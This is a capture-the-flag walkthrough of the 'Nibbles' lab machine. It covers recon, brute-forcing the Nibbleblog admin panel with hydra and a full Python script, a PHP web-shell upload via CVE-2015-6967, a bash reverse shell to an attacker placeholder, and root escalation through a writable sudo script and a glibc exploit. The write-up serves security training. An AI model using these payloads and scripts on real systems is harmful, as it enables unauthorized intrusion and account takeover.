PRIMARY CATEGORY β EASY
Summary
- Web Enumeration (Directory Fuzzing with Gobuster)
- Custom Directory/Wordlist Creation (Cewl)
- Bruteforce a Login Panel with Hydra and Python
- Exploting CVE-2015-6967 (RCE via Authenticated File Upload)
- Custom Python Script to exploit CVE-2015-6967
- Privesc via Sudo Privilege
- Additional Privesc via Glibc
Setup
Directory creation with the Machineβs Name
mkdir Nibbles && cd !$
Creation of a Pentesting Folder Structure to store all the information related to the target
mkt
Tree
. βββ evidence βΒ Β βββ creds βΒ Β βββ data βΒ Β βββ screenshots βββ logs βββ scans βββ scope βββ tools
Recon
OS Identification
First, proceed to identify the Target Operative System. This can be done by a simple ping
taking into account the TTL Unit
The standard values are β
- About 64 β Linux
- About 128 β Windows
ping -c1 10.129.96.84
Command Output
PING 10.129.96.84 (10.129.96.84) 56(84) bytes of data. 64 bytes from 10.129.96.84 icmp_seq=1 ttl=63 time=35.3 ms --- 10.129.96.84 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 35.281/35.281/35.281/0.000 ms
As mentioned, according to the TTL, It seems that It is a Linux Target
Port Scanning
General Scan
Letβs run a Nmap Scan to check what TCP Ports are opened in the machine
The Scan result is exported in a grepable format for subsequent Port Parsing
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn -oG allPorts 10.129.96.84
AllPorts Output
Nibbles/scans/AllPorts # Nmap 7.94SVN scan initiated Wed Oct 23 17:50:03 2024 as: nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn -oG AllPorts 10.129.96.84 # Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;) Host: 10.129.96.84 () Status: Up Host: 10.129.96.84 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http/// Ignored State: closed (65533) # Nmap done at Wed Oct 23 17:50:15 2024 -- 1 IP address (1 host up) scanned in 11.17 seconds
Open Ports β 22, 80
Comprehensive Scan
The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard
extractPorts allPorts
Command Output
[+] Extracting information... [+] IP Address: 10.129.96.84 [+] Open Ports: 22,80 [+] Ports Copied to Clipboard
Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts
Note that this scan is also exported to have evidence at hand
nmap -p22,80 -sCV -oN targeted 10.129.96.84
Command Output
# Nmap 7.94SVN scan initiated Wed Oct 23 18:14:50 2024 as: nmap -p22,80 -sCV -oN targeted 10.129.96.84 Nmap scan report for 10.129.96.84 (10.129.96.84) Host is up (0.040s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Oct 23 18:15:00 2024 -- 1 IP address (1 host up) scanned in 10.33 seconds
OS Version (Codename)
In Linux Systems, the Operative System Version could be extracted through Launchpad
According to the Version Column Data of the Comprehensive Scan, proceed as follows β
- 22 - SSH
OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 site:launchpad.net
- 80 - HTTP
OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 site: launchpad
Codename β Ubuntu Xenial
This can be verified once the shell is obtained, i.e. the system has been compromised
There are several ways to carry out it β
cat /etc/os-release
hostnamectl # If System has been booted via Systemd
lsb_release -a
cat /etc/issue
22 - SSH
OpenSSH Version β v7.2
All the OpenSSH Versions prior to the v7.7 one are vulnerable to aSystem User Enumeration
CVE-2018-15473 β OpenSSH < v7.7
searchsploit ssh user enumeration
To get the ExploitDB links related to above exploits β
searchsploit --www ssh user enumeration
Exploit β OpenSSH < 7.7 - User Enumeration (2)
To examine it β
searchsploit --examine linux/remote/45939.py |& cat --language python
This exploit requires Python2
Then, execute it as follows β
searchsploit --mirror linux/remote/45939.py
mv "${_##*/}" ssh_exploit.py
python2 !$
INFO
There are situations where, even if the OpenSSH Version is earlier than the v7.7, User Enumration does not work due due to some configuration or manual patches
In this case, nothing interesting is extracted
80 - HTTP
Web Server Headers (Banner Grabbing)
curl --silent --request GET --location --head http://10.129.96.84
Command Output
HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 16:59:44 GMT Server: Apache/2.4.18 (Ubuntu) Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT ETag: "5d-5616c3cf7fa77" Accept-Ranges: bytes Content-Length: 93 Vary: Accept-Encoding Content-Type: text/html
Nothing interesting here
Web Technologies
- Whatweb
whatweb http://10.129.96.84
Command Output
http://10.129.96.84 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.96.84]
Nothing interesting here either
- Wappalyzer
It extracts that PHP is the Server Language Programming
This is interesting to know if some attack vector appear such as File Upload to chain it with a RCE
Browser-Based Web Revision
Once the web is accessed through http://10.129.96.84
, the following page content is displayed β
Zoom In
However, the following hint appears in the Page Source Code β
Zoom In
The Following Web Path is leaked β http://10.129.96.84/nibbleblog/
Accessing it returns the following
Zoom In
Letβs apply fuzzing to this Website to discover its content (files, directoriesβ¦)
Web Fuzzing
Web fuzzing is applied to the leaked Web Path in the above source code using gobuster
Note that this Web Scan is exported as evidence
gobuster dir --threads 75 --output ./webScan --wordlist /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt --extensions php --url http://10.129.96.84/nibbleblog/
webScan
/sitemap.php (Status: 200) [Size: 402] /content (Status: 301) [Size: 325] [--> http://10.129.96.84/nibbleblog/content/] /themes (Status: 301) [Size: 324] [--> http://10.129.96.84/nibbleblog/themes/] /feed.php (Status: 200) [Size: 302] /admin (Status: 301) [Size: 323] [--> http://10.129.96.84/nibbleblog/admin/] /admin.php (Status: 200) [Size: 1401] /plugins (Status: 301) [Size: 325] [--> http://10.129.96.84/nibbleblog/plugins/] /install.php (Status: 200) [Size: 78] /update.php (Status: 200) [Size: 1622] /README (Status: 200) [Size: 4628] /languages (Status: 301) [Size: 327] [--> http://10.129.96.84/nibbleblog/languages/] /index.php (Status: 200) [Size: 2987]
From the resources reflected in the Web Scan, the Content
directory and the admin.php
files stand out from the rest
The Content Directory resources can be listed (Directory listing) β
Zoom In
By searching the directory content, the following XML file is found in the /content/private/users.xml
path
Zoom In
A username is leaked in the above file
Remember to store all retrieved data and credentials
printf "%s\n" "admin" > ./users.txt
In the other hand, there is the admin.php
resource which leads to a Login Panel
Zoom In
It seems the CMS Login Panel, the Nibbleblog one in this case
Letβs brute force this login panel using the admin
user found above
Brute Force
In this case, before proceed with Hydra
and the Rockyou
dictionary, a custom dictorionary is created via cewl
cewl -m 5 --with-numbers --depth 8 --write custom_dictionary.txt http://10.129.96.84/nibbleblog
Then, use hydra
or a Python Script to brute force the Admin Panel
First, intercept the HTTP Request attempting to log in to check the HTTP Method and Headers
Zoom In
It is a HTTP POST Request with the following data
- Username
- Password
The application displays an Error Message when the login is incorrect
Zoom In
According to this information, proceed as follows β
- Hydra
hydra -l admin -P ./dictionary.txt 10.129.130.179 http-post-form '/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect username or password.'
- Python
python3 bruteforce.py http://10.129.96.84/nibbleblog/admin.php admin custom_dictionary.txt
Command Output
Login Incorrect (Password: Hello) Login Incorrect (Password: world) Login Successfull (Password: nibbles)
Bruteforce Script
#!/usr/bin/env python3 import signal import os import sys import time from colorama import Fore, Style import argparse import requests def sigint_handler(sig, frame): print(Fore.MAGENTA + "\nSIGINT Signal sent to the process. Exiting..." + Style.RESET_ALL) signal.signal(signal.SIGINT, signal.SIG_DFL) os.kill(os.getpid(), signal.SIGINT) class BruteForcer(): def __init__(self, url, username, file): self.url = url self.username = username self.file = file self.session = requests.Session() def doLogin(self, username, password): data = { 'username' : username, 'password' : password } try: r = self.session.post(self.url, data=data) if r.ok: if "Mr Nibbler is Cool!" in r.text: return True else: print(Fore.RED + f"Error -> Status Code: {r.status_code}" + Style.RESET_ALL) sys.exit(1) except requests.ConnectionError as e: print(Fore.RED + f"Error: {e}" + Style.RESET_ALL) sys.exit(1) except requests.Timeout as e: print(Fore.RED + f"Error: {e}" + Style.RESET_ALL) sys.exit(1) except requests.RequestException as e: print(Fore.RED + f"Error: {e}" + Style.RESET_ALL) sys.exit(1) return False def bruteforce(self): try: with open(self.file, 'r') as f: for password in f: if self.doLogin(self.username, password.strip()): print(Fore.GREEN + f"Login Successfull (Password: {Fore.MAGENTA}{password.strip()})" + Style.RESET_ALL) break else: print(Fore.RED + f"Login Incorrect (Password: {password.strip()})" + Style.RESET_ALL) time.sleep(1) except FileNotFoundError as e: print(Fore.RED + f"{e} not found in the system" + Style.RESET_ALL) sys.exit() except Exception as e: print(Fore.RED + f"Error trying to Open the file: {e}" + Style.RESET_ALL) sys.exit() if __name__ == '__main__': signal.signal(signal.SIGINT, sigint_handler) parser = argparse.ArgumentParser(description='Script to bruteforce an Admin Panel Form') parser.add_argument('url', action='store', help='Admin Panel URL to bruteforce') parser.add_argument('username', action='store', help='Username to log in') parser.add_argument('dictionary', action='store', help='Password dictionary') if len(sys.argv) == 1: parser.print_help() sys.exit() args = parser.parse_args() bruteforcer = BruteForcer(args.url, args.username, args.dictionary) bruteforcer.bruteforce()
Credentials β admin:nibbles
Exploitation
RCE via Authenticated File Upload
Once inside de Admin Panel, all functionalities must be inspected
There is a File Upload in the my_image plugin form
Zoom In
The Software Version is also found β
Zoom In
Version β 4.0.3
If a search about the existing vulnerabilities for this Software and Version is performed β
searchsploit nibble
Command Output
Nibbleblog 3 - Multiple SQL Injections Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)
There is an Arbitrary File Upload vulnerability for the above version in the my_image plugin
The following PHP payload is uploaded to check this functionality
<?php phpinfo(); ?>
Zoom In
The referenced exploit shows the storage path of the uploaded files
Storage Path β http://10.129.96.84/nibbleblog/content/private/plugins/my_image/image.php
If accessed, the above resouce displays the following β
Zoom In
Therefore, this Software Version has been exploited via an Arbitrary File Upload
Thank to the uploaded phpinfo();
, It is possible to check the disable_functions parameter value
The same can be achieved uploading the following payload which checks what PHP Dangerous Functions are not disabled
PHP Payload
<?php function getEnabledFunctions () { $commandFunctions = [ 'pcntl_alarm','pcntl_fork','pcntl_waitpid','pcntl_wait','pcntl_wifexited','pcntl_wifstopped','pcntl_wifsignaled', 'pcntl_wifcontinued','pcntl_wexitstatus','pcntl_wtermsig','pcntl_wstopsig','pcntl_signal','pcntl_signal_get_handler', 'pcntl_signal_dispatch','pcntl_get_last_error','pcntl_strerror','pcntl_sigprocmask','pcntl_sigwaitinfo','pcntl_sigtimedwait', 'pcntl_exec','pcntl_getpriority','pcntl_setpriority','pcntl_async_signals','error_log','system','exec','shell_exec', 'popen','proc_open','passthru','link','symlink','syslog','ld','mail' ]; $disabledFunctions = array_map('trim', explode(',', ini_get('disable_functions'))); $enabledFunctions = array_diff($commandFunctions, $disabledFunctions); if (!empty($enabledFunctions)) { foreach ($enabledFunctions as $function) { echo "Function enabled ->" . $function . "<br>"; } } } getEnabledFunctions(); ?>
In this case, PHP Functions such as exec, shell_exec or system are not disabled
Thus, one of them is used to upload a web shell
<?php echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
To get a Reverse Shell simply as a cmd
URL parameter value the following bash payload β
bash -c "bash -i &> /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"
While listening on the other side β
nc -nlvp <ATTACKER_PORT>
The &
may should be URL Encoded to %26
to avoid errors
Shell as Web User
Once a connection via Reverse Shell is stablished, just proceed as follows to upgrade the obtained shell to a Fully Interactive TTY
script /dev/null -c bash
<C-z>
stty raw -echo ; fg
reset xterm
export TERM=xterm-256color
export SHELL=/bin/bash
. /etc/skel/.bashrc
stty rows <ROWS> columns <COLUMNS>
Privesc #0
Initial Non-Privileged User β Nibbler
Check the existent user directories in the /home
Path
ls -l /home
Command Output
total 4 drwxr-xr-x 3 nibbler nibbler 4096 Dec 29 2017 nibbler
There is only one and It is owned by the user Nibbler
Therefore, Privilege Escalation is done directly to the Root
user
User Groups
id
Command Output
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
The user is not part of any interesting group
Sudo Privileges
sudo -l
Command Output
Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
The Nibbler
user can run the command following command as Root
without providing a password
/home/nibbler/personal/stuff/monitor.sh
Thus, check the /home/nibbler
content
ls -l /home/nibbler
Command Output
total 8 -r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip -r-------- 1 nibbler nibbler 33 Oct 26 00:42 user.txt
In addition to the user flag, a ZIP File is there
List its content as follows β
unzip -l -- personal.zip
Command Output
Archive: personal.zip Length Date Time Name --------- ---------- ----- ---- 0 2017-12-10 21:58 personal/ 0 2017-12-10 22:05 personal/stuff/ 4015 2015-05-08 03:17 personal/stuff/monitor.sh --------- ------- 4015 3 files
The only resulting file is the monitor.sh
script, which Nibbler
can run as Root
Letβs see the above file permissions and owners
command -V tree &> /dev/null && tree -fpugh ./personal
# Or
command -V find &> /dev/null && find ./personal -type f -ls 2> /dev/null
Command Output
615 4 -rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 ./personal/stuff/monitor.sh
The Nibbler
user is the user owner and the File Permissions are 777
Therefore, just modify this script and the following line to gain a shell as Root
bash -pi
Once modified, run the sudo
command as follows
sudo -u root /home/nibbler/personal/stuff/monitor.sh
Thatβs it!
cat /root/root.txt
Pwned!
Privesc #1
Glibc (CVE-2018-1000001)
There is another way to gain access as Root
List the Gnu Library C - Glibc System Version
ldd --version | head -n1
Command Output
ldd (Ubuntu GLIBC 2.23-0ubuntu9) 2.23
A vulnerability related to that Glibc Version exists β Rational Love
searchsploit glibc 2.23
To examine it β
searchsploit --examine linux/local/43775.c |& cat --language c -
Cat is an alias for Bat
Copy that exploit to the system and transfer it to the Target machine
searchsploit --mirror linux/local/43775.c
mv "${_##*/}" exploit.c
python3 -m http.server 8888
command -V curl &> /dev/null && curl --remote-name "http://10.10.16.30:8888/exploit.c"
Once the .C File is in the Target, compile it
Normally, in the exploit itself, there is a line that shows the Compile Command
grep -i -- gcc exploit.c
Command Output
* Compile: gcc -o RationalLove RationalLove.c
gcc -o RationalLove exploit.c
Execute it
./RationalLove
Thatβs it!
wc -c /root/root.txt
Custom Exploits
Bruteforce Login Panel
Bruteforce Script
#!/usr/bin/env python3 import signal import os import sys import time from colorama import Fore, Style import argparse import requests def sigint_handler(sig, frame): print(Fore.MAGENTA + "\nSIGINT Signal sent to the process. Exiting..." + Style.RESET_ALL) signal.signal(signal.SIGINT, signal.SIG_DFL) os.kill(os.getpid(), signal.SIGINT) class BruteForcer(): def __init__(self, url, username, file): self.url = url self.username = username self.file = file self.session = requests.Session() def doLogin(self, username, password): data = { 'username' : username, 'password' : password } try: r = self.session.post(self.url, data=data) if r.ok: if "Mr Nibbler is Cool!" in r.text: return True else: print(Fore.RED + f"Error -> Status Code: {r.status_code}" + Style.RESET_ALL) sys.exit(1) except requests.ConnectionError as e: print(Fore.RED + f"Error: {e}" + Style.RESET_ALL) sys.exit(1) except requests.Timeout as e: print(Fore.RED + f"Error: {e}" + Style.RESET_ALL) sys.exit(1) except requests.RequestException as e: print(Fore.RED + f"Error: {e}" + Style.RESET_ALL) sys.exit(1) return False def bruteforce(self): try: with open(self.file, 'r') as f: for password in f: if self.doLogin(self.username, password.strip()): print(Fore.GREEN + f"Login Successfull (Password: {Fore.MAGENTA}{password.strip()})" + Style.RESET_ALL) break else: print(Fore.RED + f"Login Incorrect (Password: {password.strip()})" + Style.RESET_ALL) time.sleep(1) except FileNotFoundError as e: print(Fore.RED + f"{e} not found in the system" + Style.RESET_ALL) sys.exit() except Exception as e: print(Fore.RED + f"Error trying to Open the file: {e}" + Style.RESET_ALL) sys.exit() if __name__ == '__main__': signal.signal(signal.SIGINT, sigint_handler) parser = argparse.ArgumentParser(description='Script to bruteforce an Admin Panel Form') parser.add_argument('url', action='store', help='Admin Panel URL to bruteforce') parser.add_argument('username', action='store', help='Username to log in') parser.add_argument('dictionary', action='store', help='Password dictionary') if len(sys.argv) == 1: parser.print_help() sys.exit() args = parser.parse_args() bruteforcer = BruteForcer(args.url, args.username, args.dictionary) bruteforcer.bruteforce()
CVE-2015-6967
See here